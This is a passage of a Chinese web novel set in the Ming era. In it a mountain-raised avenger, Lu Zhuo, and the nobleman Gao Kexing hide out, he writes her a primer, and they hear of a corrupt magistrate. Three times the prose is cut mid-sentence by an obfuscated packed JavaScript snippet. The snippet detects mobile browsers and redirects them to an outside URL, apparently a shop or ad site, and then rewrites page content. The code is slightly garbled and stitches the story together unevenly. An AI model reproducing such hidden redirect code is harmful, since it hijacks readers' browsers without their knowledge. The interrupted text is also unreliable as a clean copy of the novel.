昏黄的灯光柔柔地托着鹿啄的脸，她面色有些枯败，但一双眼睛总是澄澈锐利，叫人几次忘了，她应该吃过很多苦。且她原该是美的，细看之下，脸上挑不出一处失协。 如果她真的只是一个寻常的丫鬟，高克行大概会在考虑如何保全人家的名节和干脆许给人家一个名分之间摇摆。 可这是鹿啄。他没有资格保全人家的什么；也没有权力许给人家什么。他最好离得远远的，只在她叫他的时候才现身。 明天婆子来送饭的时候，得让她把旁边那间屋子给打开。 绝不会想到另一人有如此心事的鹿啄，正捧着薄薄的三页纸，对着上头的两个字出神。 头一段，高克行命名为“释世策·卷一”，从户籍入手，开释何为民，何为籍，目光扫上几行卷首释义，接着就是这一段： 籍之大分有三：曰民，耕读传家，纳粮当差；曰军，世袭戎伍，勾补无替；曰匠，百工技艺，输作公家。此外尚有灶、医、儒、驿之流，各安其业。 …… 又有化外之民，居深山，垦荒土，依势结棚，谓之“棚民”。此类有不入黄册，不在版图，无根无底，飘蓬断梗者。 棚民两个字，就是鹿啄出神的根源。 她来到人间，睁开眼第一个看见的人，就是逐娘，她知道逐娘曾经是花魁，是贱籍，从青楼逃了以后，藏进啜狗山，从那时起，她以为她们这样的人，就是不存于世的，跟山间野兽同属一类。 户籍之分，她知道，可她也知道啜狗山上所有人都无户无籍，也不知该去何处置户，她压在高府的身契，不过是拿了牙行其它女孩的顶上，那女孩后来没来讨，大概是不知身契被谁拿走了。 至于鹿苓，她的身契是给牙婆使了银子，由牙婆去新置的。 可高克行所述的棚民之状，不就是她们吗？ “这个，”鹿啄回头望向高克行，点指那二字，“怎么讲？” 她回头前高克行正站着发愣，手足无措地想什么时候点一点她，得歇下了，可她方一回头，高克行立刻挪了过去，看她手指的两 个字，沉吟片刻，答： “洪武元年时，太祖爷下诏，‘各处荒闲田地，许令诸人开垦，永为己业’，彼时多失地流民，便有些人到荒山垦田，伐木架棚，这些人流徙不定，已入籍的，是附籍棚民，未入籍的，无论耕山伐木，还算是流民。” 他答完，忽觉不对，鹿啄按理该是贱籍，纵然她是为姐复仇入了高府，可没有身契她怎么卖身，转念一想，身契多半应是别人的，唯余无奈。 并没体察到他心思的半分，鹿啄仍指着那两个字，目光炯炯，道： “我怎么能有户籍？” 除了她，还有她的姐姐们。其实没有户籍对鹿啄来说也不打紧，做一个流民也无谓好坏。 可如若有了这个，她的姐姐们就能被世间知晓，死了，有户籍可销，有坟冢可选，不会空落落的，犹如本就不存在的东西，又消 失了一次。 “你想有便有。”高克行反应过来，对她一笑，“上苍叫你遇见我，你想要什么籍，都能有。” 鹿啄惯会白拿人东西，但她也知道这不对，而高克行几次给她什么，都没有白给，她自然问： “你要什么？” 高克行不知该要什么。 若说想—— 他想要鹿啄常常在他身边。 可他不能，也不该。 打心底里，他自认是一无所有的人，他所得一切都源于高家，可这个高家，注定不会让他成为干净的、配得起山野清风的人。 而与他孑然一身相比，鹿啄简直是富有天下。 她有自己能做主的命、有不沾一点脏东西的念头、有纵然逝去了，却真切地爱过她的姐妹，至于她最高贵的，不因仰赖任何人而 拥有的，坚定、强大，更是令高克行那一点所谓的威势都相形见绌。 他实不能牵绊了她。 纵然她来高家，是为索命。 思来想去，高克行还是照老规矩，要了个答案。 “阿啄给我讲讲你当棚民的时候吧，还有你的姐姐们。” 他估不准鹿啄准确的年纪，怕问漏什么，便以棚民二字为界，向鹿啄问她此前所有。 而对鹿啄来讲，这答案难也不难，鹿啄可以答，只是说起来太耗时了，加之答了他，他就成了啜狗山之外唯一知道啜狗山的人。鹿啄思索再三，补充道： “那你要帮我的姐姐也置户，还有我娘。” 直接给你们编成一家子就得了，高克行没觉出这里头有什么难度陡增的地方，只是对于她还有个娘这件事惊讶了一瞬，但很快便笑着应她。 此时高克行在鹿啄心中的信用已有七八分了。她想着从何说起，无意识翻到桌上写了字的三页竹纸，看见最下面还有一页有字。 她翻开，只见四个字位于竹纸正中： 啄蒙解译。 幼童蒙学、开智、入塾，常用的蒙学读本，大抵就会用上头的这几个字命名。只一个啄字不同，那是独属她的。 鹿啄心中一动，片刻后，却不知自己为何而心动，只将那张纸胡乱拨开，抽了张无字的摆到眼前。 傍晚她出去后，高克行自己又研了不少墨，砚台竟还未干，就着余墨，鹿啄将自己姐妹七人的名字全誊了下来，顿一顿，在最末补上鹿鸣。 对高克行而言，这十六个字已足够说明很多，他犹如见了山禽走兽写字一样，又惊又奇，将那张竹纸提起来对灯端详许久。 这是一手行楷，有赵体的底，却写得硬而散，起笔如刀劈，收笔如断竹，毫无修饰。 赵子昂的行楷曾在京中雅士中备受推崇，不少闺阁女子也竞相学习，乃至于有些流俗，现而今的官家女子们为显得独特，有临瘦金体的，也有写梅花小楷的。 有了这一层，再结合鹿啄的年纪，教她写字 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“我还没告诉你？” 这又是鹿啄从没外露过的一种表情了，高克行不由得因她的表情隐隐自满，也不跟她解释什么赵子昂、教坊司，只笑问她： “教你？” 言外之意，这是一种能耐，就像鹿啄起初认为，打水漂是一种可以相胁的能耐一样。 可鹿啄并不像他一样多疑试探，她只是重重点点头，末了很苦恼地又问： “你要什么？” 似乎跟鹿啄相处总是这样，织上千万个套，最终只套住自己。 高克行失笑，摇了摇头，郑重道： “什么都不要，阿啄，从现在起，我对你无所求。” 他注视着灯下的几页纸，实在地感知到鹿啄曾是与他多么无关的一个人，他又多么不该用自己的规矩将她与人交往的底色染得这样复杂。 二人之间良久无言，一个在不解，另一个在想该如何叫她明白。 半晌，高克行才又开口道： “细细想来，其实是我误你。或许我该教你的头一桩，就是这世上并非所有事都要换来，你合该得我的有求必应，不因你有我要的东西，只因你是鹿啄，懂吗？” 是救他性命的鹿啄，是世上无她这般人的鹿啄。 可她大概觉得这样换实在很方便吧，仍露出那种游移不定、不知所谓的神色，高克行只得再道： “如若不懂，你只记着，以后凡我高克行的东西，你想要，便开口，不必问我何所求。” 这次鹿啄懂了。 “好” 她痛快应着，神色明快许多，上次如此时，还是逗小钗叫她娘的时候，她道： “我所要颇多，你别后悔。” 再多又能如何，高克行到底自小养尊处优，几乎是不自觉地一哂，末了却回过神来，他鲜少见鹿啄心情好，面上有明快的神色。 算起来，这几乎是头一次。可纵然如此好的心情，她也不笑。 该向她求一个笑的，可后悔已来不及了。 47.贼！贼！贼！ 夜已太深了，鹿啄将啜狗山上的日子捡着说来不费事的给高克行随意讲了讲，他每次都能顺着推出些新的什么，叫鹿啄几乎不知道是不是过去这十数年，高克行其实一直藏在啜狗山上。 可饶是他一直聚精会神，后来也困得狠了，在是否要脱鞋的事上踌躇了几个来回，最终鞋袜、衣裳，一件都没动，爬到了炕上。 鹿啄又把《啄蒙解译》现有的几页翻来覆去看了两遍，心下念着明日还要去把龟奴的身契要来，便也维持着原样，爬到炕桌的另一侧躺下。 她其实害怕在这间屋子入睡。 一如她给婆子留下的字条，起初她的确打算“亟去不返”，可若有需要，一间屋子应该并不会拿她如何，好比逐娘死后，啜狗山上的茅屋，她跟四个姐姐也住了好一段时日，并没如何。 可屋里静了，她却又想起：高克行躺着的地方，就是几日前鹿苓尸体放置的位置。 现在那里居然又有一个人躺着了。 鹿啄控制不住地胡乱想。 好在她今日的确累了，加之高克行那边有稳定、调匀的呼吸声绵绵传来，竟教她生出些平白的安稳，恍惚间似是回到了几日前，那一头的人还活在世上一般。 一念之间，鹿啄睡去。 这间耳房实是极为逼仄的，屋内不曾用油灰刷过，露着黄泥的本色，斑驳了多处，从其上雨水渗漏的痕迹来看，天可怜见，今日没有下雨，不然是必要漏的。 躺着二人的土炕，若说大，的确能容下两人并一张炕桌；可若说小，鹿啄和高克行几乎没有翻身的余地，向内就是炕桌，向外就是泥墙。而在这样的处境之中，屋内还弥散着泥土、霉烂木头、连着两日夜间下雨残留的潮气、更有高克行身上挥之不去的香气。 古怪而格格不入。 令高克行在梦中几番梦见自己正用黄泥糊一个香薰炉子，糊得慢了，东厂的番子就要抽他。 但他没被噩梦惊扰，反而是叫一阵猛烈的翻动声骇醒的。 炕桌一侧，高克行双目骤开，可并不敢动。 他自忖没想到追兵来得这样快，又这样火眼金睛，能在这么刁钻的破房子里，隔着墙识别出他的身影，但随着意识完全清醒，他很快就抛弃了是追兵上门的念头。 高克肃绝不会出卖他，鹿啄更不会，毕竟卖他就是卖自己。 追兵撞了大运更是笑话。 莫非是贼？ 不可能，鹿啄就在旁边，什么样的贼能搞出这么大的动静而不被鹿啄立时就地正法？ 除非 除非这贼就是鹿啄。 高克行悚然地朝炕桌对侧望去，这屋里有一块檐破了，月光透过椽子照下来，借着亮，他看到鹿啄坐起半个身子，正两手并用，不停在炕上摸索着什么。而且，她的眼睛还闭着。 一阵冷汗爬上高克行的后脊。 这不会是要玩曹操“吾梦中好杀人”那一套吧。 那吾命就休矣了。 很快高克行又觉得自己荒唐，摇了摇头，试着呼唤两声： “阿啄？” 大约是他声音太轻了，鹿啄毫无反应。高克行曾听闻过当有人让梦魇住时，切不可轻易惊扰，贸然叫醒，梦魇者或可能发狂，或可能暴死。 沉吟一回，高克行又去瞧鹿啄的样子。 这个两手不住摸索，唇瓣紧抿的动作神态，怎么想，也是在找东西。 找什么呢？ 刀？鹿啄的刀就在绦带内、飞蝗石在袖内口袋里、鱼刺在荷包中，何况这几样都不是大件，不至于两手摸索。 财物？鹿啄并不像把财物看得如此珍重之人，夜里发梦起来寻银子，是典型的守财奴，不是她。 或许是跟她姐姐有关的东西。 可她姐姐一个大活人…… 大活人？ 她在找她姐姐么？ 念头电闪，高克行决意死马当活马医，当即把炕桌拎下去，另一手缓缓伸远，轻轻抚住了鹿啄的手背。 上一刻还躁动不定的鹿啄一瞬定住，再也不动了。 高克行不敢将手拿开，也不知该怎样让她躺下继续睡，或许模仿她姐姐应当有用，可她的姐妹平时如何称呼她呢？一定不是阿啄。 以她的秉性，如果姐姐们唤她阿啄，她便不可能叫高家人这样唤她。 高克行想起鹿啄写给他的，啜狗山八姐妹的名字，有了主意。 “睡吧，小七。” 月色下，鹿啄好像缓缓抬起了头，她的眼睛仍闭着，但紧蹙的双眉展开，绷着的嘴唇也松动了，高克行觉察到自己的手被她反手抓住。 继而，鹿啄像一个寻常的，有家人疼爱、环绕的女子一样，紧紧怀抱着依赖之人的手掌，躺进被窝，躲入梦乡。 高克行长出一口气。 但片刻后，他又觉得心中比掀翻了一个灶房还五味杂陈。 他一壁推算出恐怕鹿苓生前也住过这间屋子，但鹿啄什么都没有说；一壁又满心杂念，徘徊在沾衣裸袖便为失节和我真是俗不可 耐二者之间。 所谓仁者不忧，知者不惑，勇者不惧。 高克行今日方知自己修行得很不够，他又忧、又惑、又惧、不仁、不知、更不勇。 如若他把手抽回来，她还会不会再起身？ 可他始终并非鹿苓，也不是姓鹿的任何一个，如果她醒来看到，会不会更加难过？ 说到底，天到底将降什么大任于他？ 竟一刻都不想让他好过。 这并不是一个让鹿啄摆脱噩梦的夜晚，一夜过去，鹿啄犹记得梦中逐娘苍白模糊的面孔和姐姐们去而不返的身影，但梦中，鹿苓紧紧牵着她的手，一如那日她们被其它姐姐留在啜狗山上时，二人依偎在一处的那刻。 可她终归还是想起，鹿苓已经不在了。 炕上，鹿啄骤醒。 这是鹿苓死后，她第一次没有目睹朝阳渐起。 朝暾已升，曦光灌顶而入，洒透一室。但见万千尘芥于光中沉浮飘舞，竟也鲜活可爱。浮光金尘的彼岸，高克行坐在案侧属稿，其人如画，纤毫毕现。 他是什么时候醒来、什么时候换了衣裳、什么时候梳洗的，鹿啄一概不知。 为什么？ 鹿啄自问在山间长大，身侧不过尺寸的地方有人行动，她不可能不知道。 “你那身衣裳还是得换掉。” 说话之人头也不抬，他脸色败了几分，有意不想给她看，又怕她误解，接着道： “一看就是丫鬟，太惹眼。” 说罢，高克行伸手指点案上一角。 “拿银子去裁身新的，或买现成的，随你。” 平头案的案角上，放了一些散碎银子，大约是高克行提前预备出来的，数量备得宽，够做几身衣裳，却也不至于太阔绰，引人注目。 “不。”鹿啄摇头下炕，“丫鬟方便。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118995|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她真是一身良家女子的打扮，到窑子去要龟奴的身契，反而不便，说是替主家赎人、买人，才说得通。 也不算很说得通吧。 反正就是比良家女子好些。 “你若是有心去要龟奴的身契，今日趁早断了这样的念头。” 高克行终于搁笔回过身来。 他面色的确不好，灰的灰、红的红，但还不等鹿啄发问，他就又道： “其一，莫说你不是贱籍，你就真是贱籍，那也不是你这样的女子能去的地方。其二，龟奴昨日离开，鸨母、东家必定知晓他是替主家办事，一日不返，东家不会生疑，你使多少银子，身契也未必给你。到时，难道你要痛打鸨母，血洗娼寮吗？” 未尝不可。 鹿啄撇撇嘴。 她纵然有些孩子的叛逆，但也知道血洗娼寮是下下策，便走到高克行跟前，看他有何高招。 “昨日我让那龟奴在我们回府前不要回窑子，他怕你，肯定依言照做。”高克行注意到鹿啄走过来，不自然地又低下头，抄起笔，“他一日不见，东家不急，但多日不见，东家就会疑心他是不是跑了，或者死了，到时候你再买他的身契，东家两厢合计，自然当是办事儿的主子来买命，他顶多讹你一点。” 他笔下是《啄蒙解译》，又写就了一整张，鹿啄自然拿起来瞧了瞧，可她心绪不定，片刻后就皱眉问： “讹多少？” 低低的笑声从案侧传来，高克行手中没停，答： “凭他去想，讹多少我都给得起。” 这便将今日去要身契的路堵死了，鹿啄犹是不想放弃，又抓着高克行话里的另一处问： “为何我不能去？” 窑子里又没人打得过她。 高克行恍然意识到名节这东西，就像鹿啄脸上的一颗痣，旁人瞧得见，她自己却瞧不见。《啄蒙解译》中其它比名节要紧得多的东西都尚未作完，总不能现在改弦更张，先教她三纲五常。 找个旁的事儿遮掩，又太哄着她，以至于显得不尊重。高克行叹气，道： “你去了那地方，被别人知道了，你再进不了高家。” 这是一句威胁，一句隐去了无数细节的实话。 鹿啄不解，但权且信他，转念又一思量。 除非去偷，否则不可能不叫旁人发现她去买身契，可偷又很难，毕竟她不知龟奴的身契存在何处。 也许高克行能算出来？ 观她神色有变，高克行即知她做什么打算，又摇头笑笑，道： “纵然我知道，我不想让你去，也不想让你偷，你要严刑拷打我么？” 这不行，鹿啄不太下得去手。 并非有什么不忍，只是他是没做错任何事的人，无错之人，不该受罚，此乃天理。 她想再问，高克行却先一步开口，道： “你可以先去牙行买个小厮，让小厮替你去，银子够用。” 早上，高克行冒着鹿啄惊醒的风险将手抽出来，盖因他最终衡量鹿啄伤心比鹿啄睡不够的代价要大得多。好在鹿啄没醒，他就轻声挪去了堂屋换洗，并在高克肃给他带的衣裳内袋里，发现了兄长预备的钱袋。 钱袋里有散碎银两，也有金叶子，只是金叶子在小地方不常见，极容易被人盯上。况且散碎银子不少，加上他自己带出来的，足够买下小厮和身契。 纵使那东家发了疯病，总归再想法子就是了。 48.师者 鹿啄还是上街去买衣裳了。 左右无事，加之比起衣裳，她更需要买些吃食。 高克行倒不像排斥再做一顿的样子，可鹿啄有些排斥。 她纵然不想忘了姐姐所做食物的滋味，但也不想记住太难吃的东西。 一壁想，鹿啄一壁快步前行，她目不旁视，直奔一间兼卖成衣与布匹的杂铺。 那铺子里挂满了直身、褡护、比甲等一应男女成衣，浆洗得硬挺，没什么花色。鹿啄眼神一扫，便指了架上两套灰蓝布的、一套靛青的，皆是男子款式，腰身宽放，便于活动。她不同价，亦不还价，只将一块碎银搁在柜上。 掌柜的见她爽利，也乐得省事，忙不迭包好了递过来。 出了衣铺，鹿啄又转向食摊。街角蒸笼冒着大白气，炸货的焦香混着果子的甜腻直往人鼻子里钻。她略一蹙眉，绕过那排队的热闹摊子，走到一个卖冷淘、炊饼的摊前。那饼子看得干硬，冷淘也寡淡。 街上卖的东西总要精细可口一些，如此小商小贩才能生存，寻着这样的已很不易，鹿啄依旧不同价，数了钱递过去。食物到手， 皆是些能久放、滋味平平、吃了只为果腹的物件。 打点好一切，再回院中时，鹿啄瞧见那婆子不知什么时候来了，正站在窗下瞧着高克行写字。 “姑娘回来了！” 婆子对鹿啄客气了许多，见她兜着食物和衣物回来，登时一喜。 这对儿小鸳鸯身上还是有钱。 想着，婆子笑眯眯迎上去，瞧瞧鹿啄买的东西，刚刚上头的喜意又退下去。都是些寻常东西，看不出什么阔绰，可见这俩人多半是私奔，也未必就带了多少钱。 也对，谁养外室会养在这种房子里。 亏她看那公子字写得漂亮，还猜他是什么人中龙凤。 于是她面目上又没了一些温和，凑近了与鹿啄道： “你家公子已经使了银子让我日日送菜，你就别镇日大手大脚，出了龙凤窝，日子可不似从前容易了。” 婆子此一番是出自真心，且就算她知道二人有钱，也没打算偷或骗，只想多找些由头赚来。 鹿啄却没在意她的训诫，只想着婆子天天来送菜，那高克行岂不是要天天做？ 她的水准大抵跟高克行大差不差，顶多刀工强他一些，可鹿啄是决计不会进厨房的，那是鹿坪的地方，她好不容易定下心神，不想沉溺在过去之中。 日日去买，万一剩下的银钱不够赎身契，又是麻烦。 算了，忍字当头一把刀，没有不受苦的道理。 院里有人说话，高克行抬眸见到，便搁下纸笔，从屋里出来，先问了婆子好，又打发鹿啄去换洗，自己跟婆子一块儿把吃食摆上。 见婆子意外好心帮忙，高克行猜到她大概是因为鹿啄买的东西觉得二人也是穷苦可怜，这倒很合他心意，于是他顺势把戏做下去，装出郁郁寡欢的样子。 婆子见他叹气，心知肚明，忍了半晌，还是憋不住问： “公子和小娘子，家从何来啊？我看你们都是面上富贵的相，怎么到这里受苦。” 这一问，正中高克行下怀，他又长叹一声，道： “我说了，婆婆也莫要瞧我们不起，其实我原也是出自大户，只是因我不喜家中拘束，负气出走，去小地方的书塾做了先生，啄 儿那时是东家雇来扫地的，我教书，日日见她在外扫地，一来二去，便有心聘她。” 哦—— 话本子。 婆子给这故事的看头如何定了性，聚精会神地听。 “谁知，我家中母亲听了这事，因啄儿身份低微，又父母早亡，决计不肯，况且我尚未绝了功名的念头，父母对我，亦有期 许。” 可那小丫头最开始来的时候，是跟姐姐两个人来的？婆子找到一处不合理。 高克行为她圆上： “啄儿身世孤苦，家中只剩一个姐姐，她若遭我背弃，只有跟姐姐一道寻死，如此，不是挖我的心吗？” 婆子点点头，砸吧一下嘴，叹鹿啄的确是个苦命人，被牵扯起愁肠。 “无奈，我只得让她二人先到青州，寻我的一位故交，可谁知，我所托非人，那一家子竟想将啄儿和她姐姐典卖，幸而她姐姐舍命相救，才逃脱出来，后来，两人赁了您的屋子，原以为是找到了安身之所，可谁想到，那家人竟还不放过啄儿的姐姐，千方百计诱使她回去。” 后头的事，婆子就知道了。 话本子里常写义薄云天，舍身救亲的奇女子，婆子没想到真有人是这样的。 大概鹿啄的姐姐被人领回去不久，劳顿漂泊下生了重病，最后被撵出来，病死在她这里。 妹妹无依无靠，只得出去寻情郎救命，好在苍天可怜他俩，又让他们重逢了。 婆子悄悄掖泪。 只是她自以为悄悄，高克行全看在眼里。他又添油加醋，道： “虽是我的故交，可也是得罪不起的大户人家，我们只想先安身立命，把日子过好，昨日我瞧您是个可托付的，就把多数的钱财都拿给您，实则是想买您的这间房，日后修缮一番，也算有了家。可我不通晓世情，没说明白，回来还叫啄儿念了一宿。” 他眼下挂着两块淤黑，面色不好，可不是让家里的骂了一宿？而且一个书生，不知道市价，给得太多也很有理。 婆子心中信了十分，这房子她原也不打算继续住了，兼有鹿啄的姐姐死在里头，未必有旁人肯接手，于是她便很痛快答应卖给高克行。 冷淘、炊饼上桌，高克行大略扫了一眼，想起昨日鹿啄放着高府的好菜好饭不用，偏要用他做的，今日又买些只为果腹，不求味道的东西回来。 他有了猜测，又及想到这婆子或还有其它用处，便假意别过头去，犹如在无人处落泪一般，哽咽道： “啄儿跟了我，也没得过一日的好，她姐姐既去了，我便是世上唯一能看顾她的人，可我无用，连顿像样的饭也做不出，还要她 劳累伺候，变着花样替我减省，我实在无耻。” 闻言，婆子更觉可怜， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130902|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又及眼前之人是大户人家的公子，低声下气地向她这粗人诉苦，让她还有点自得，故而忙劝： “天底下本就没有官人给娘子做饭的道理，你有这份心已很难得，快别这样说。” 高克行仍不回头，抬起袖子抹脸，又道： “可终究我给不了她什么，只有这一样小事都做不得，还妄称什么丈夫，婆婆莫劝了，今日我便去集上找些菜谱，讨她一笑也是好的。” “嗐，这又何必呢！”婆子急得直拍大腿，“干嘛费钱，老婆子我教你就是了！” “真的么！” 高克行回头，做出一个十分欣喜意外的表情，又多番郑重感激，直把婆子夸成菩萨降世。 见婆子心花怒放，高克行不忘又假意回身落下些感动的“泪”，可甫一动身，余光便瞥见鹿啄在屋门口站着，似笑非笑，目光中，竟然有一丝丝感佩。 混入高府本就是要骗，鹿啄自然不会把骗人当成什么德行上的莫大亏损，相反，她因自己的骗术并不精湛，起初还要有小钗的策 应，而总觉得该寻机练习精进，不成想高克行无意中，到是连这个也教了。 高克行耳后浮上一抹淡红，鹿啄并没在意，走过来坐了，三人一齐用饭。 婆子吃得不多。毕竟炊饼、冷淘要是配上腌菜、酱肉，也算佳肴美味，但干吃就算了，没味儿。 饭后，婆子给高克行指点了些生活琐事，又及这条街上都有些什么人，留了钥匙，答应了午后再来送房契，才缓缓离去。 至于另外一间屋子，婆子让高克行给她留些时间打理，高克行便答应她齐整前先不开屋门。 经过了昨晚，他忧心鹿啄一个人睡会出事，亦或是她可能根本不睡，所以也不再想跟她分房的事了。 婆子走后，鹿啄在院中练武，高克行仍回房中伏案。 最初兴建这间屋的人，彼时也并不富裕，因而院中无一景色点缀，也无成体统的丛芳嘉树，只有飞鸟落下的籽，长成了没章法的杂草杂树，鹿啄的身影隐约其间，在高克行每一息抬头时，凑巧成为难以说尽的色彩。 这般光景，倏忽五日。除却每日必来的婆子，其间高克肃只又来探过一次，余下时日，便是他二人一个伏案笔耕，一个院中练武。 一日三餐皆是高克行亲手料理，鹿啄则自觉承揽了其余琐事。其间，在婆子的点拨下，高克行手下渐渐也有了温热的、堪可入口 的烟火家常，但也只勉强说得上是人可以吃的东西。 入夜后，高克行又会牵着鹿啄的手，挨过提心吊胆的一夜，在破晓前，于她未醒时悄然抽离。 虽然仍是灰头土脸、仍是简朴粗陋，可也称得上是安逸恬淡了。以至于某日清晨，鹿啄练武时，偶然在剥皮刀的刀身上瞥见自己的映影，竟怔在原地—— 刀中人身形丰润了些许，面色是健康的红晕，肌肤细腻，宛若脱胎换骨般，透出几分楚楚风致。 可这迟来的生机却无端刺痛了她。她手一松，剥皮刀“哐当”坠地，屋内只余一片惘惘的沉默。 49.青天大老爷 高克行自屋内踱至院中，鹿啄刻意打量他，方才觉出他竟然清减了。人虽未大变，然神气衰减，嘴唇干皴，眼里蛛网般的血丝，脸上也没血色，细听他气息，也不如几日前匀实。 鹿啄心里转念： 他是少爷，自己在山间长大，这日子自己更从容些不假，可也差不了这许多。心里疑云一闪，却没说破。只见高克行反冲她笑了笑，倒像那个过不痛快、要人哄着的，是她鹿啄。 “我猜你也该烦了。”高克行帮她把刀捡起来，递过，“今日走一趟牙行吧，时候差不多了。” 他早算计好该如何把鹿啄的心思引向别处，在了却那个能将她解脱的“大事”的途中，她绝不会因其中某处风景突然的荒芜而驻足。 可他算错了一点点。 鹿啄接过刀收入腰间，又进屋取上银两，再出来时，直奔门口。 可将跨步迈过门槛时，她忽地回头，对高克行道： “你想吃什么，我可以带回来。” 冻土三尺，竟萌新绿。 她对夜间发生之事一无所知，故而将他的消瘦苍白归因于没有吃好，她也知道自己仅为了维持生命而选择的食物是高克行不该承受的，她产生了想要医治此人的想法。 高克行摇了摇头，笑着道： “业精于勤，荒于嬉，你从外头买的越好，我越发懒得练了。” 他还真的想把做菜练好吗？ 鹿啄失语。 点了个头算作示意，随即举步出户。 院内，一阵西风掠过，引得高克行掩口连声呛咳，颊上飞红。他以手覆额，欲转身入内避风，却闻门口又是一阵响动，转身去看，是那婆子来了。 婆子带笑，春光满面，手上还拎着鲜活扑腾的肥鸡肥鸭，并一些好菜，甚至还有一坛酒。 她缘何是这般欣喜，猜是猜不出来的，高克行默然片刻，苦笑着上去接过婆子手里的酒菜，没碰两只家禽。 他始终是书生，是少爷，婆子心里明镜一般，兀自把鸡鸭都抓去灶房，起锅烧水，预备要宰鸡宰鸭。 见婆子好一番折腾，高克行也无法视而不见，只得远远问婆子道： “婆婆今日是路上捡着金锭子了，还是想吃过这一顿就与我们断了往来？” “嗐，公子哪儿的话！”婆子抽出厨刀，分别处置了鸡鸭，脸上笑意不减，“有喜事是真的，比捡了金锭子还高兴！” 寻常农家的老妇，素性只会为了家事和银钱喜不自胜，可高克行这些日子也渐渐摸清了她家里的境况：媳妇早给生了健壮可爱的 孙子，儿子又寻了新差事，那50两银子在她手中攥着，也没见她如此喜乐。 “这我倒不知道了。”高克行依着院中杂树，环臂望向灶房，“婆婆存心吊我的胃口？” 婆子来送菜是顺便，把“喜事”张扬出去才是紧要，与其说她存了卖关子的心，不如说这事就快从喉咙眼里跳出来了。 急忙将鸡鸭放下，婆子一壁拿腰间汗巾擦手，一壁走到灶房外，对高克行道： “你们到青州日子不长，咱们益都这地界，知府老爷、县官老爷的衙门都挤在这儿，可姓高的知府官太大了，不管咱小民的日子，平日里咱们见的最多的官，就是县里头的刘老爷，你听过没有？” 不光听过，而且见过。 刘知县是高彦邦的僚属，品秩既低，却专好钻营，人又猥琐不堪，行事鄙陋。 莫说高家，便是府中通判、往来知州，皆不屑与之为伍，连他的孝敬也一并退回。偏这刘知县有股痴劲，每逢朔望，必递帖求见，或亲至府上，美其名曰“述职”。 殊不知述职皆在公堂，没有直入后宅的道理。 另，他所献之物更是粗鄙不堪。先是大剌剌的金锭，后是粗蠢的珊瑚，末了竟异想天开，搜罗了不少美人。进献活物，无论是美女，还是奇珍异兽，必要隐秘。 他却偏闹出王爷仪仗般的动静，招摇过市。 高府连门都未给他开。 高克行笑了笑：“算略有耳闻吧。” “那公子肯定也知道，这个刘赖皮，平日里欺负的咱们好苦！” 水烧开了，婆子舀了水进木盆，又把鸡鸭都搁进去烫毛，自己则端着盆和板凳，走到院中，坐在小凳上，一壁给鸡鸭褪毛，一壁继续道： “县里头务农的，凡手里有地，他都给规划好了，要么把地强划给张大户，要么就是硬割给赵财主，人家是官，咱们是民，也说 不出什么道理来，可他偏又不改黄册上的名字，谁的地在明面上，还是谁的地，那税就还是咱们种地的交，产了粮食，倒是财主们的。” 这叫“包赔”，只出不进，往往又迫使得百姓去借羊羔息，或是卖儿卖女，直至家破人亡。 而刘知县又不仅仅只是不改黄册上的名字，他还得专判冤案，叫百姓投告无门。小官大贪，是为极恶。 高克行不由皱眉。 “还有呐！”婆子狠狠薅下一绺鸭毛，“有些田产不丰的地，财主们瞧不上，只有自己家里种，到完粮的时候，衙役就拿脚踢斛，米洒了一地，衙役们就自己拾回去，转头还说粮食交不够数，要拿钱补上。那田本就是贫田，上哪里去凑米凑钱呢，又把人逼死。” 年年如此，重重税债，唯有远远逃开，成了流民，才有活路。可活路却与死路分别不大。 现下想来，金锭子、丑珊瑚、美人，哪个不要银子，他一芝麻官，敛聚了这许多东西，就算是掏夫人的嫁妆箱子，也得有十几位夫人给他掏才够用。 还不是民脂民膏。 但此人如此行事，伯父全然不知吗？ 高克行正盘算将此事告与高克肃，却听那婆子还没说完，提起刘知县的点滴不快，顷刻间烟消云散了，她还是一脸喜气，继续道： “公子知道，我家媳妇娘家也是种地的，老早就让财主们占了地，靠着家里女人们做活计，男人们卖苦力才能活，回回想起来，我儿媳都得哭上一阵子，可现在好了！” 她话锋陡然一转，高兴地仰头，对高克行道： “不知什么缘由，昨天县里突然冒出个天大的官来，我也不知道是什么官，可就是刘知县见了他，几乎都吓得尿裤子。” 天大的官？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143285|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆子是一介无知农妇，知府已算太大的官，她所谓天大，该有多大？ “这官好厉害，才到一会儿，就把刘知县拿了，说他有这个罪，那个罪，一大堆，刘知县屁也不敢放一个。” 她说得痛快，手上狠狠拔毛，接着道： 